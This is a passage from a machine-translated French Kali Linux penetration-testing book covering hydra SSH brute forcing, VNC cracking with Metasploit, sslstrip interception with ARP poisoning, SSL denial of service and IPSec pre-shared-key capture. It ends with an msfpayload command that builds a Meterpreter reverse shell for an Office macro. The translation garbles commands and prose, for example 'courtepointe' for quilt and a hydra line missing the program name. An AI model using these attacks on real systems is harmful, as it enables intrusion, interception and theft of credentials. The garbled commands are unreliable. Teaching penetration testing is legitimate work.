dictionnaire, hydra signale le port, le
protocole, l'hôte et les identifiants de connexion. Il continue
ensuite à utiliser les dictionnaires pour
identifier les autres comptes possibles. Dans la ligne la plus
haute de la capture d'écran suivante,
Hydra a correctement identifié un compte SSH avec
DigitalDefence comme identifiant
et darkstar comme mot de passe ; la capture d'écran montre
également les autres tentatives effectuées
par Hydra alors qu'il tente d'identifier des comptes
supplémentaires.
Si vous connaissez la configuration du mot de passe, vous
pouvez également utiliser hydra pour créer automatiquement
le
liste de mots de passe à la volée, à l'aide de la commande
suivante :
root@kali:~# hydra –L user.lst –V –x 6:8:aA1 <adresse IP> SSH

Page 281
Exploiter les communications d'accès à distance
[ 264 ]
Les paramètres utilisés dans la commande précédente sont
décrits dans la liste suivante :
• -x demande à Hydra de créer automatiquement les mots de
passe utilisés dans le
attaque de force brute. Les mots de passe seront créés selon
les
paramètres qui suivent -x .
• 6:8 indique une longueur de mot de passe minimale de six
caractères et une longueur maximale
longueur du mot de passe de huit caractères.
• aA1 créera automatiquement les mots de passe en utilisant
une combinaison de
lettres et chiffres. Il utilisera toutes les lettres minuscules
(indiquées par un ) et tous
lettres majuscules (notées A ), et les chiffres 0 à 9 (notés 1 ).
Vous pouvez également ajouter des caractères spéciaux à la
liste générée, cependant, vous devez ajouter
guillemets simples autour de l' option –x , comme indiqué dans
la commande suivante :
root@kali:~# -L user.lst –V –x '6:8:aA1 !@#$' <adresse IP> SSH
Exploiter l'accès à distance de tiers
applications
Les applications qui contournent les protocoles système pour
fournir un accès à distance étaient assez
populaire à la fois. Bien qu'ils soient actuellement remplacés
par des services en ligne
comme GoToMyPC ou LogMeIn , ils restent assez courants. Des
exemples de tels
les programmes incluent pcAnywhere et VNC.
Il est à noter que des instances de ces outils peuvent être
présentes sur le réseau en raison de
les actions légitimes d'un administrateur système. Cependant,
ils peuvent également être présents
parce que le réseau a été compromis et que l'attaquant voulait
un moyen de
accéder à distance au réseau.
Dans l'exemple suivant, nous allons compromettre VNC en
utilisant la fonctionnalité intégrée de
le cadre Metasploit.
1. Localisez le logiciel d'accès à distance sur la cible à l'aide de
nmap . Comme le montre le
capture d'écran suivante, VNC se trouve généralement sur le
port TCP 5900 .

Page 282
Chapitre 10
[ 265 ]
2. Activez Metasploit Framework à l'aide de la commande
msfconsole depuis
une fenêtre de terminal. À partir de l' invite msf , configurez-le
pour compromettre VNC,
comme le montre la capture d'écran suivante :
3. Lancez la commande run , comme illustré dans la capture
d'écran suivante, et regardez
pour une course réussie :
4. Enfin, une fois que Metasploit a déterminé les identifiants,
validez-les en
connexion au client VNC à l'aide de vncviewer . Depuis l'invite
de commande
dans une fenêtre de terminal, saisissez ce qui suit :
root@kali:~# vncviewer <IP cible>

Page 283
Exploiter les communications d'accès à distance
[ 266 ]
Cela se connectera à l'hôte distant et vous invitera à entrer le
crédits. Lorsque l'authentification est réussie, une nouvelle
fenêtre sera
ouvert, vous donnant un accès à distance au système cible.
Vérifiez que vous êtes
sur le système cible en émettant la requête whoami , comme
indiqué ci-dessous
capture d'écran et demandez l'ID ou l'adresse IP du système :
Attaquer la couche de sockets sécurisés
Secure Sockets Layer ( SSL ) et son successeur, Transport Layer
Security ( TLS ),
sont des protocoles cryptographiques utilisés pour fournir des
communications sécurisées à travers le
L'Internet. Ces protocoles ont été largement utilisés dans des
applications sécurisées telles que
Messagerie Internet et courrier électronique, navigation Web
et voix sur IP.

Page 284
Chapitre 10
[ 267 ]
Ces protocoles sont omniprésents sur Internet, cependant, ils
ont pour origine le
milieu des années 90 et sont de plus en plus attaqués à mesure
qu'ils vieillissent. SSL version 2.0
(La version 1.0 n'a jamais été publiée) contient un nombre
important de défauts qui
peut être exploité, comme un mauvais contrôle des touches et
une faiblesse pour l'homme du milieu
attaques. Bien que la plupart des utilisateurs aient implémenté
la version 3.0 de ce protocole ou
versions plus récentes de TLS, des systèmes mal configurés
peuvent toujours permettre l'utilisation du
version non sécurisée antérieure.
Configuration de Kali pour l'analyse SSLv2
Avant de commencer la phase de reconnaissance, vérifiez que
Kali a été configuré
pour rechercher les protocoles SSL version 2. Au moment de la
rédaction de ce livre, ce n'était pas
l'affaire.
Depuis une fenêtre de terminal, saisissez la commande
suivante :
root@kali:~# openssl_s_client -connect
www.opensecurityresearch.com:443 -ssl2
Si cela renvoie une erreur d' option inconnue -ssl2 (illustrée
dans la capture d'écran suivante),
une configuration supplémentaire sera alors requise.
Pour appliquer le correctif, vous devez re-patcher l'application
OpenSSL à l'aide des éléments suivants
étapes (assurez-vous que le chemin utilisé reflète le répertoire
de téléchargement utilisé) :
1. Installez quilt , un programme utilisé pour gérer plusieurs
correctifs pour une application
code source, à l'aide de la commande suivante :
root@kali:~# apt-get install devscripts courtepointe
2. Téléchargez le code source openssl , vérifiez les correctifs qui
ont été appliqués,
mettre à jour les fichiers de configuration, puis reconstruire
l'application. Utilisez le
commandes suivantes :
root@kali:~# apt-get source openssl
root@kali:~# cd openssl-1.0.1e
root@kali:~/openssl-1.0.1e# quilt pop -a

Page 285
Exploiter les communications d'accès à distance
[ 268 ]
3. Modifiez le fichier / openssl-1.0.1e/debian/patches/series et
supprimez le
ligne suivante du fichier :
ssltest_no_sslv2.patch
4. Modifiez le fichier / openssl-1.0.1e/debian/rules et
supprimez le no-ssl2
argument. Ensuite, réappliquez les correctifs à openssl . Utilisez
les commandes suivantes :
root@kali:~/openssl-1.0.1e# quilt push -a
root@kali:~/openssl-1.0.1e# dch -n 'Autoriser SSLv2'
5. Une fois cette opération terminée, reconstruisez le package
openssl , puis réinstallez-le.
Cette étape peut être effectuée avec les commandes suivantes :
root@kali:~/openssl-1.0.1e# dpkg-source --commit
root@kali:~/openssl-1.0.1e# debuild -uc -us
root@kali:~/openssl-1.0.1e# cd /root
root@kali:~# dpkg -i *ssl*.deb
6. Confirmez que les correctifs ont été appliqués avec succès en
rééditant le
commande pour se connecter à l'aide de SSLv2, comme illustré
dans la capture d'écran suivante :
Les scripts Kali qui reposent sur openssl , en particulier sslscan ,
devront être recompilés.
Pour recompiler, téléchargez d'abord la source, puis
reconstruisez-la. Lorsque cela est terminé,
réinstallez-le à l'aide des commandes suivantes :
root@kali:~# apt-get source sslscan
root@kali:~# cd sslscan-1.8.2
root@kali:~/sslscan-1.8.2# debuild -uc -us
root@kali:~/sslscan-1.8.2# cd /root
rootl@kali:~# dpkg -i *sslscan*.deb

Page 286
Chapitre 10
[ 269 ]
Le problème de Kali avec SSLv2 peut être résolu dans une
future version, par conséquent, vérifiez-le avant
tester la connectivité SSL.
Reconnaissance des connexions SSL
La phase de reconnaissance de la kill chain reste importante
lors de l'évaluation du SSL
connectivité, en particulier lors de l'examen des éléments
suivants :
• Le certificat x.509 utilisé pour identifier les parties impliquées
dans l'établissement du
connexion SSL sécurisée
• Le type de cryptage utilisé
• Les informations de configuration, telles que si la
renégociation automatique de
Les sessions SSL sont autorisées
Le certificat SSL peut fournir des informations qui peuvent être
utilisées pour faciliter
ingénierie.
Plus fréquemment, un testeur ou un attaquant souhaite
déterminer si le certificat est
valide ou non. Les certificats non valides peuvent résulter d'une
erreur lors de la vérification du
signature, une chaîne de certificats rompue, le domaine
spécifié dans le certificat ne
correspondent au système, ou le certificat a expiré, a été
révoqué ou est connu pour avoir
été compromis.
Si un utilisateur a précédemment accepté un certificat invalide,
il acceptera très probablement un
nouveau certificat invalide, ce qui facilite considérablement le
travail de l'attaquant.
Le type de cryptage utilisé pour sécuriser une connexion SSL est
particulièrement important.
Les chiffrements de chiffrement sont divisés dans les catégories
suivantes :
• Chiffres nuls : Ces chiffres sont utilisés pour vérifier
l'authenticité et/ou
l'intégrité d'une transmission. Comme aucun cryptage n'est
appliqué, ils ne
n'offre aucune sécurité.
• Chiffres faibles : c'est un terme utilisé pour décrire tous les
chiffrements avec une clé
longueur de 128 bits ou moins. Chiffres qui utilisent l'
algorithme Diffie-Hellman pour
un échange de clés peut également être considéré comme
faible car il est vulnérable aux
attaques de l'homme du milieu. L'utilisation de hachages MD5
peut être considérée comme
faible en raison d'attaques par collision. Enfin, les récentes
attaques contre RC4 ont également
a remis en cause son utilisation continue.
• Chiffres forts : Ce sont les chiffrements qui dépassent 128
bits. Présentement,
l'option acceptée et la plus sûre est le cryptage AES avec une
clé de 256 bits.
Si possible, il doit être utilisé avec le mode Galois/Compteur, un
chiffrement par bloc qui prend en charge à la fois
l'authentification et le cryptage.

Page 287
Exploiter les communications d'accès à distance
[ 270 ]
SSL et TLS reposent sur des suites de chiffrement
(combinaisons spécifiques d'authentification,
chiffrement et algorithmes de code d'authentification de
message) pour établir la sécurité
paramètres pour chaque connexion. Il existe plus de 30 suites
de ce type et la complexité
de sélectionner la meilleure option pour chaque exigence de
sécurité conduit fréquemment les utilisateurs
par défaut des options moins sécurisées. Par conséquent,
chaque connexion SSL et TLC doit être
minutieusement testé.
Pour effectuer une reconnaissance par rapport aux connexions
SSL, utilisez les modules NSE de
nmap ou des applications spécifiques à SSL. Les modules nmap
NSE sont décrits dans le
tableau suivant.
Nmap module NSE
Fonction du module
SSL-cert
Récupère le certificat SSL d'un serveur. La quantité
d'informations
renvoyé dépend du niveau de verbosité (aucun, -v et -vv).
date-ssl
Récupère la date et l'heure d'un hôte cible à partir de son TLS
Réponse ServerHello.
chiffrements-ssl-enum
Initie à plusieurs reprises les connexions SSL et TLS, à chaque
fois
essayer un nouveau chiffrement et enregistrer si l'hôte accepte
ou
le rejette. Les chiffres sont affichés avec un taux de force. C'est
un
scan hautement intrusif, et peut être bloqué par la cible.
SSL-google-cert-
catalogue
Interroge le catalogue de certificats de Google pour plus
d'informations
qui se rapporte au certificat SSL récupéré de la cible.
Il fournit des informations sur la date à laquelle et pour
combien de temps,
Google est au courant du certificat. Si un certificat est
non reconnu par Google, il peut être suspect/faux.
clé-ssl-connue
Vérifie si le certificat SSL utilisé par un hôte a un
empreinte qui correspond à une base de données de données
compromises ou
clés défectueuses. Actuellement, il utilise la base de données
LittleBlackBox.
Cependant, n'importe quelle base de données d'empreintes
digitales peut être utilisée.
sslv2
Détermine si le serveur prend en charge l'obsolète et moins
SSL sécurisé version 2 et quels chiffrements sont pris en charge.
Pour appeler un seul script à partir de la ligne de commande,
utilisez la commande suivante :
root@kali:~# nmap --script <nom du script> -p 443 <IP cible>

Page 288
Chapitre 10
[ 271 ]
Dans l'exemple suivant, le script ssl-cert a été appelé avec l'
option -vv pour
verbosité maximale. Les données de ce script sont affichées
dans la capture d'écran suivante :
Pendant la reconnaissance, un testeur peut choisir de lancer
tous les modules spécifiques à la SLL en utilisant
la commande suivante :
root@kali:~# nmap --script "ssl*" <adresse IP>
Les outils de reconnaissance et d'attaque de Kali spécifiques à
SSL et TLS peuvent être
invoqué à partir de la ligne de commande ou sélectionné dans
le menu en naviguant vers Kali
Linux | Collecte d'informations | Analyse SSL . Les outils sont
résumés dans le
tableau suivant :
Outil
Fonction
sslcaudit
Automatise les tests des clients SSL et TLS pour déterminer la
résistance
contre les attaques de l'homme du milieu.
ssldump
Effectue une analyse du protocole réseau des communications
SSLv3 et TLS.
S'il est fourni avec la clé de cryptage appropriée, il décryptera
SSL
trafic et l'afficher en clair.
sslscan
Interroge les services SSL pour déterminer quels chiffrements
sont pris en charge. Sortir
inclut les chiffrements SSL préférés et s'affiche dans
format texte et XML.
sslsniff
Active les conditions d'attaque de l'homme du milieu sur toutes
les connexions SSL
sur un LAN particulier, générant dynamiquement des certificats
pour le
domaines auxquels on accède à la volée.

Page 289
Exploiter les communications d'accès à distance
[ 272 ]
Outil
Fonction
sslsplit
Effectue des attaques de type man-in-the-middle contre les
réseaux SSL et TLS.
Les connexions sont interceptées de manière transparente via
une adresse réseau
moteur de traduction et redirigé vers sslsplit, qui se termine
la connexion d'origine et initie une nouvelle connexion à
l'original
destination tout en enregistrant toutes les données transmises.
Il supporte la plaine
TCP, SSL, HTTP/HTTP et IPv4 et IPv6.
sslstrip
Conçu pour détourner de manière transparente le trafic HTTP
sur un réseau, surveillez
Liens HTTPS, puis redirigez puis mappez ces liens vers du HTTP
falsifié ou
Liens HTTPS. Il prend également en charge les modes pour
fournir un favicon qui ressemble à un
icône de verrouillage ainsi que la journalisation sélective des
communications interceptées.
slyze
Analyse la configuration SSL d'un serveur.
tlssled
Unifie l'utilisation et la sortie de plusieurs autres applications
spécifiques à SSL,
vérifie la force de cryptage, les paramètres de certificat et la
renégociation
capacités.
Le programme le plus couramment utilisé est sslscan , qui
interroge les services SSL dans
afin de déterminer les détails du certificat et les chiffrements
pris en charge. La sortie est
aux formats texte et XML.
Lors du test d'une connexion particulière, utilisez l' option --no-
failed , comme indiqué dans le
capture d'écran suivante, pour que sslscan affiche uniquement
les suites de chiffrement acceptées.

Page 290
Chapitre 10
[ 273 ]
L' outil python sslyze analyse la configuration SSL d'un serveur
et valide
le certificat, teste les suites de chiffrement faibles et identifie la
configuration
informations susceptibles de supporter des attaques
supplémentaires. Dans l'exemple de sortie, illustré
dans la capture d'écran suivante, il a identifié une
incompatibilité de certificat qui pourrait
prendre en charge certains types d'attaques.
Un autre outil de reconnaissance SSL est tlssled , comme
illustré dans la capture d'écran suivante.
Il est très rapide, simple à utiliser et la sortie est conviviale.

Page 291
Exploiter les communications d'accès à distance
[ 274 ]
Quelle que soit l'approche que vous utilisez pour la
reconnaissance SSL, assurez-vous que vous
valider vos résultats en exécutant au moins deux outils
différents. De plus, tous ne
Les appareils configurés SSL seront en ligne en même temps.
Ainsi, sur les grands réseaux,
assurez-vous que vous recherchez les vulnérabilités SSL
plusieurs fois au cours de
les tests.
Un nouvel outil qui émerge actuellement du développement
est l'OWASP
O-Saft (www.owasp.org/index.php/O-Saft), qui fournit
un aperçu complet de la configuration SSL, des chiffrements et
données de certificat.

Page 292
Chapitre 10
[ 275 ]
Utiliser sslstrip pour effectuer un man-in-the-middle
attaque
Malgré la sécurité offerte par la protection SSL, il existe des
attaques efficaces
contre le protocole. En 2009, Moxie Marlinspike a fait la
démonstration de sslstrip , un outil qui
détourne de manière transparente le trafic HTTP sur un réseau
et redirige le trafic pour regarder
comme les liens HTTP ou HTTPS. Il supprime la protection SSL
et renvoie le verrou sécurisé
sur le navigateur de la victime afin que l'interception ne puisse
pas être facilement détectée.
En bref, sslstrip lance une attaque man-in-the-middle contre
SSL, permettant au
des données préalablement sécurisées à intercepter.
Pour utiliser sslstrip , vous devez d'abord configurer le système
d'interception dans le transfert
mode à l'aide de la commande suivante :
root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward
Ensuite, configurez le pare-feu iptables pour rediriger le trafic
HTTP vers sslstrip en utilisant le
commande suivante :
root@kali:~# iptables –t nat –A PREROUTING –p tcp
–destination-port 80 –j REDIRECT –to-port <port d'écoute>
Dans cet exemple, le port d'écoute a été défini sur le port 5353.
Maintenant que la configuration est terminée, exécutez sslstrip
à l'aide de la commande suivante :
root@kali:~# sslstrip –l 5353
L'exécution des commandes précédentes est illustrée dans la
capture d'écran suivante :
Réduisez la fenêtre de terminal active qui exécute sslstrip et
ouvrez un nouveau
fenêtre du terminal. Utilisez ettercap pour usurper ARP et
rediriger le trafic du réseau
ou cibler le système directement au système d'interception à
l'aide de la commande suivante :
root@kali:~# ettercap –TqM arp:remote /192.168.75.128/
/192.168.75.2/

Page 293
Exploiter les communications d'accès à distance
[ 276 ]
Ici, le commutateur ettercap -T sélectionne l'interface texte
uniquement, -q force la console
en mode silencieux, et l' option -M active l'attaque de l'homme
du milieu pour
détourner et rediriger les paquets de données. Le commutateur
arp:remote implémente l'ARP
attaque d'empoisonnement et place l'attaquant comme un
homme du milieu avec la capacité
pour afficher et modifier les paquets dans la transmission. La
partie distante du commutateur
est requis si vous souhaitez afficher les adresses IP distantes et
les communications
passer par une passerelle.
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Si le système cible accède au contenu sécurisé SSL, leurs
requêtes sont dirigées
via la passerelle vers le système d'interception.

Page 294
Chapitre 10
[ 277 ]
Du point de vue de l'utilisateur, ils seront dirigés vers le site et
présentés avec
a Il y a un problème avec l' alerte de sécurité du certificat de
sécurité du site ,
eux avec une décision d'aller de l'avant. S'ils sélectionnent Oui ,
ils seront dirigés vers leur
page sélectionnée. L'icône de verrouillage dans le coin inférieur
droit du navigateur sera toujours
indiquer que SSL est engagé, indiquant que leurs
communications sont sécurisées.
En arrière-plan, l' outil sslstrip supprime SSL, laissant le contenu
brut qui peut
être visualisé dans le journal ettercap , comme illustré dans la
capture d'écran suivante :
Cette attaque n'est efficace qu'à partir du même segment de
réseau de couche 2. Cependant,
il est efficace sur les réseaux filaires et sans fil. Bien que la
redirection ARP
peut être appliqué contre un segment de réseau, une telle
attaque aura un impact sur le réseau
bande passante, qui peut être détectée. Par conséquent, il est
plus efficace de diriger cette
attaque contre des appareils uniques.
Pour désactiver la règle PREROUTING, remplacez –A par –D.
Pour effacer les règles du pare-feu, utilisez iptables –t nat –F
(pour vider les commandes) et iptables –t nat –L
(pour vérifier que les tables ont été débarrassées).
Attaques par déni de service contre SSL
Lorsqu'une connexion SSL est établie, le serveur doit effectuer
une série de
calculs intensifs en calcul pour initier la poignée de main et
démarrer le
chiffrement. Cela implique une petite quantité d'effort de
calcul de la part
du client et un montant plus important par le serveur.
Si un client initie une connexion SSL mais rejette la réponse du
serveur, le SSL
la connexion ne sera pas établie. Cependant, si le serveur SSL
est configuré pour
renégocier automatiquement la connexion, la charge de travail
de calcul sera
entraîner un DoS.

Page 295
Exploiter les communications d'accès à distance
[ 278 ]
Kali Linux dispose de plusieurs outils qui vous permettront de
déterminer si automatique
la renégociation est autorisée, y compris sslyze et tssled .
Si la renégociation automatique est autorisée, saisir la
commande suivante
permettra à un testeur d'évaluer la résilience à l'attaque DoS :
root@kali:~# thc-ssl-dos <adresse IP> <port>
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Attaquer un réseau privé virtuel IPSec
Un réseau privé virtuel ( VPN ), utilise Internet pour fournir des
services sécurisés (cryptés)
communications entre des sites distants ou des utilisateurs au
sein du même réseau.
Il existe deux types de VPN : IPSec et SSL .
IPSec est le protocole le plus couramment utilisé pour établir
des connexions sécurisées entre
réseaux et connecter des hôtes dans des réseaux privés virtuels.
Au sein d'IPSec, il existe plusieurs protocoles subsidiaires qui
remplissent des fonctions spécifiques,
tels que les suivants :
• En-tête d'authentification ( AH ) : cela fournit la preuve de
l'origine des paquets IP,
les protéger contre les attaques par rejeu.
• Encapsulation Security Protocol ( ESP ) : ce protocole fournit
l'origine
l'authenticité, l'intégrité et la confidentialité des données
transmises.

Page 296
Chapitre 10
[ 279 ]
• Association de sécurité : C'est l'ensemble des algorithmes
utilisés pour crypter et
authentifier les données transmises. Parce que SA est associée
à des données
transmission dans un sens, les communications
bidirectionnelles sont sécurisées par
une paire d'associations de sécurité. Les associations de
sécurité sont établies en utilisant
Association de sécurité Internet et protocole de gestion de
clés ( ISAKMP ),
qui peut être mis en œuvre par plusieurs moyens. Lorsque vous
testez la sécurité de
VPN, l'une des configurations les plus vulnérables repose sur
des secrets pré-partagés,
Échange de clés Internet ( IKE ).
Pour évaluer la sécurité du VPN, les testeurs suivent ces étapes
de base :
1. Recherchez la présence de passerelles VPN.
2. Empreinte digitale de la passerelle VPN pour déterminer le
fournisseur et
détails de configuration.
3. Recherchez les vulnérabilités associées au fournisseur VPN
ou
Produits connexes.
4. Capturez les clés pré-partagées.
5. Effectuez un craquage PSK hors ligne.
6. Vérifiez les comptes d'utilisateurs par défaut.
Recherche de passerelles VPN
Pour rechercher la présence de passerelles VPN, utilisez nmap
ou ike-scan . Pour utiliser nmap ,
lancez la commande suivante :
root@kali@:~# nmap -–sU -Pn –p 500 <Adresse IP>
Dans cet exemple, -sU demande à nmap de rechercher dans la
plage d'hôtes des cibles possibles
en utilisant des paquets UDP (au lieu de TCP), -Pn garantit que
nmap n'enverra pas de ping
scan (qui peut alerter la cible sur le scan et identifier le testeur),
et –p
500 identifie le port spécifique à analyser.
L' outil nmap ne localise pas toutes les passerelles VPN en
raison de la façon dont il gère l'IKE
paquets; l'outil le plus efficace est celui qui envoie un paquet
IKE correctement formaté
au système cible et affiche le message renvoyé.
Le meilleur outil pour localiser une passerelle VPN est ike-scan
(qui peut être trouvé par
navigation vers Kali Linux | Collecte d'informations | Analyse
VPN ). L' ike-
l' outil de ligne de commande d' analyse utilise le protocole IKE
pour découvrir et empreintes privées
réseaux. Il prend également en charge le craquage de clé pré-
partagée en mode agressif IKE.
Pour utiliser ike-scan pour localiser des cibles, exécutez la
commande suivante :
root@kali@:~# ike-scan -M <IP cible>

Page 297
Exploiter les communications d'accès à distance
[ 280 ]
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Le commutateur -M renvoie chaque charge utile dans une ligne,
simplifiant la sortie.
L' outil ike-scan teste diverses transformations par rapport à
l'appareil cible. Une transformation
contient un certain nombre d'attributs : l'algorithme de
chiffrement (DES et 3DES), le hachage
(MD5 et SHA1), la méthode d'authentification (la clé pré-
partagée), le
Groupe Diffie-Hellman (l'option un est de 768 bits et l'option
deux est de 1024 bits) et la durée de vie
(28 800 secondes). Il identifiera les transformations qui ont
suscité une réponse réussie.
Après avoir terminé l' ike-scan de chaque appareil identifié, le
programme renverra l'un des
ce qui suit:
• 0 prise de contact renvoyée ; 0 a renvoyé notification : Ceci
indique que
la cible n'est pas une passerelle IPSec
• 0 prise de contact renvoyée ; 1 notification retournée : Ceci
indique que
bien qu'une passerelle VPN soit présente, aucune des
transformations fournies
à cela par ike-scan sont acceptables
• 1 poignée de main retournée ; 0 notification renvoyée :
comme indiqué dans le
capture d'écran précédente, cela indique que la cible est
configurée pour
IPSec et effectuera une négociation IKE contre un ou plusieurs
des
les transformations qui lui ont été fournies
Empreinte digitale de la passerelle VPN
Si vous pouvez établir une poignée de main avec la passerelle
VPN, vous pouvez effectuer le
l'empreinte digitale de l'appareil pour renvoyer les
informations suivantes :
• Le fournisseur et le modèle
• La version du logiciel
Ces informations sont utilisées pour identifier une attaque
spécifique à un fournisseur ou pour affiner un
attaque générique.

Page 298
Chapitre 10
[ 281 ]
Si le VPN est hébergé par un pare-feu, l'empreinte sera
également
identifier le pare-feu utilisé.
Comme IKE ne garantit pas la fiabilité des paquets transmis, la
plupart des VPN
les fournisseurs de passerelles utilisent un protocole
propriétaire pour gérer le trafic qui semble être
perdu. L' outil ike-scan envoie des paquets de sonde IKE à la
passerelle VPN, mais il le fait
ne répond pas à la réponse qu'il reçoit. Le serveur répond
comme si les paquets avaient
perdu et met en œuvre sa stratégie de backoff pour renvoyer
les paquets. En analysant
la différence de temps entre les paquets et le nombre de
tentatives, ike-scan peut
les empreintes digitales du vendeur.
Dans l'exemple illustré dans la capture d'écran suivante, l'
option -M provoque chaque
charge utile à afficher sur une ligne séparée, ce qui rend la
sortie plus facile à lire. Les
-option showbackoff (comme indiqué dans la capture d'écran
suivante) des enregistrements ike-scan
le temps de réponse de tous les paquets qui ont été envoyés et
reçus, puis enregistre
les délais de 60 secondes avant d'afficher les résultats.
Dans la capture d'écran précédente, l' ID du fournisseur ( VID )
est une chaîne de texte de hachage MD5 qui
est spécifique au fournisseur et est utilisé pour reconnaître une
communication propriétaire ou
détails de communication spécifiques.
L' outil ike-scan peut également être utilisé pour déterminer si
la passerelle prend en charge
le mode agressif. Si c'est le cas, il peut être difficile d'établir la
poignée de main avec
le serveur, car il ne répondra pas tant qu'un ID valide ne sera
pas fourni dans le
charge utile d'identification.

Page 299
Exploiter les communications d'accès à distance
[ 282 ]
Capture de clés pré-partagées
L' outil ike-scan peut être utilisé pour pousser une passerelle
VPN dans l'agressivité
mode. Ceci est important car le mode agressif d'IPSec ne
protège pas
les clés pré-partagées. Les informations d'authentification sont
envoyées en clair, ce qui
peuvent être capturés puis craqués à l'aide d'outils hors ligne.
L'exemple suivant, émis contre un concentrateur VPN Cisco,
utilise le
commande suivante :
root@kali@:~# ike-scan --pskcrack --agressif
--id=pair <cible>
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Si vous souhaitez rediriger les résultats vers un fichier texte
pour une analyse supplémentaire et hors ligne
craquage de mot de passe, utilisez la commande suivante :
root@kali@:~# ike-scan --pskcrack --agressif
--id=peer <cible> > <chemin/psk.txt>
Effectuer un cracking PSK hors ligne
Avant de casser le hachage capturé de la clé pré-partagée à
l'aide d'un outil hors ligne, modifiez
le fichier de sortie pour inclure uniquement la valeur de
hachage (il doit contenir neuf
valeurs). L'outil le plus efficace pour casser la clé est psk-crack ,
qui prend en charge le
dictionnaire, force brute et cracking en mode hybride.

Page 300
Chapitre 10
[ 283 ]
Comme tous les exercices de cracking hors ligne, le succès est
une mesure du travail et de l'effort
impliqués (le temps, l'effort de calcul et l'investissement
d'énergie sur les systèmes électriques).
Une clé pré-partagée forte, telle que celle illustrée dans la
capture d'écran précédente, prendra une
longtemps à craquer.
Identification des comptes d'utilisateurs par défaut
Comme la plupart des autres périphériques matériels, les
passerelles VPN contiennent généralement l'utilisateur par
défaut
comptes au moment de l'installation. Ceux-ci ne peuvent pas
être modifiés par l'administrateur.
En utilisant les informations recueillies au cours du processus
de prise d'empreintes digitales, un testeur peut effectuer
une recherche sur le Web pour identifier les comptes
d'utilisateurs standard.
Si le testeur a accès à l'ordinateur d'un utilisateur, l'identifiant
du nom d'utilisateur est généralement
stocké en clair dans le registre système. De plus, si un testeur a
accès à
la mémoire d'un système, il est possible d'obtenir le mot de
passe directement auprès du client
vidage de la mémoire du système.
VulnVPN (www.rebootuser.com) est un système d'exploitation
virtuel
système et serveur VPN vulnérable. Il permet d'appliquer les
outils décrits dans ce chapitre pour compromettre l'application
et obtenir un accès root sans endommager un système de
production.
Sommaire
Dans ce chapitre, nous avons examiné comment exploiter les
applications d'accès à distance courantes,
y compris ceux qui ont été cryptés pour fournir une sécurité
supplémentaire. Nous
protocoles de communication du système d'exploitation
exploités (RDP et SSH) et
applications telles que VNC. Nous avons également appris à
effectuer des reconnaissances de
connexions de couche socket sécurisées et réseaux privés
virtuels et types d'attaques
qui réduisent l'efficacité du cryptage.
Dans le chapitre suivant, nous verrons le résultat d'attaques
combinées contre des
canaux de communication avec des attaques contre des êtres
humains. En examinant le
l'efficacité de ces exploits côté client, nous passerons en revue
plusieurs types d'attaques
ainsi que le projet Browser Exploitation Framework ( BeEF ).

Page 301

Page 302
Exploitation côté client
Le plus grand défi pour un attaquant ou un testeur d'intrusion
efficace est de
contourner les contrôles de sécurité d'une cible pour parvenir à
un compromis. Cela peut être difficile
lorsqu'il cible des systèmes situés sur un réseau, car l'attaquant
a généralement besoin
pour contourner les pare-feu, les proxys, les systèmes de
détection d'intrusion et d'autres éléments de
une architecture de défense en profondeur.
Une stratégie de contournement réussie consiste à cibler
directement les applications côté client.
L'utilisateur initie l'interaction avec l'application cliente,
permettant aux attaquants de prendre
avantage de la confiance existante entre l'utilisateur et
l'application. Les
l'utilisation de méthodologies d'ingénierie sociale améliorera le
succès des attaques côté client.
Les attaques côté client ciblent des systèmes qui manquent
généralement de contrôles de sécurité (en particulier,
pare-feu et systèmes de détection d'intrusion) trouvés sur les
systèmes d'entreprise. Si ces attaques
réussissent et qu'une communication persistante est établie, le
périphérique client peut être
utilisé pour lancer des attaques s'il est rattaché au réseau de la
cible.
À la fin de ce chapitre, vous aurez appris comment attaquer
côté client
applications à l'aide des éléments suivants :
• Attaques de scripts hostiles (VBScript et PowerShell)
• Le cadre de script intersites
• Le cadre d'exploitation du navigateur

Page 303
Exploitation côté client
[ 286 ]
Attaquer un système à l'aide de scripts hostiles
Les scripts côté client, tels que JavaScript, VBScript et
PowerShell, ont été développés pour
déplacer la logique et les actions de l'application du serveur
vers l'ordinateur du client. D'un
du point de vue de l'attaquant ou du testeur, l'utilisation de ces
scripts présente plusieurs avantages,
comme suit:
• Ils font déjà partie de l'environnement naturel d'exploitation
de la cible ; les
l'attaquant n'a pas à transférer de gros compilateurs ou
d'autres fichiers d'aide
telles que les applications de chiffrement vers le système cible.
• Les langages de script sont conçus pour faciliter les
opérations informatiques telles que
gestion de la configuration et administration du système. Par
exemple, ils
peut être utilisé pour découvrir et modifier les configurations
du système, accéder au registre,
exécuter des programmes, accéder aux services réseau et aux
bases de données et déplacer le binaire
fichiers via HTTP ou e-mail. De telles opérations scriptées
standard peuvent être facilement
adopté pour être utilisé par les testeurs.
• Parce qu'ils sont natifs de l'environnement du système
d'exploitation, ils ne
déclenchent généralement des alertes antivirus.
• Ils sont faciles à utiliser car l'écriture d'un script nécessite un
simple éditeur de texte.
Il n'y a aucun obstacle à l'utilisation de scripts pour lancer une
attaque.
Historiquement, JavaScript était le langage de script de choix
pour lancer des attaques en raison de son
disponibilité généralisée sur la plupart des systèmes cibles.
Parce que les attaques JavaScript ont été
bien caractérisé, nous nous concentrerons sur la façon dont Kali
facilite les attaques en utilisant des scripts plus récents
langages : VBScript et PowerShell.
Mener des attaques à l'aide de VBScript
Visual Basic Scripting Edition ( VBScript) est un langage de
script actif
développé par Microsoft. Il a été conçu pour être un logiciel
léger, natif de Windows
langage qui pourrait exécuter de petits programmes. VBScript a
été installé par
par défaut sur chaque version de bureau de Microsoft
Windows depuis Windows 98,
ce qui en fait une excellente cible pour les attaques côté client.
Pour lancer une attaque en utilisant VBScript, nous
invoquerons le msfpayload de Metasploit depuis
la ligne de commande :
root@kali:~# msfpayload windows/meterpreter/reverse_tcp
LHOST=[Votre hôte local] LPORT= [Votre port local] V

Page 304
Chapitre 11
[ 287 ]
Notez que V désigne que la sortie sera un script de macro VBS.
La sortie sera
apparaissent sous forme de fichier texte avec deux parties
spécifiques, comme illustré dans la capture d'écran suivante :
Pour utiliser le script, ouvrez un document Microsoft Office et
créez une macro (le
dépendra de la version de Microsoft Windows utilisée). Copiez
le premier
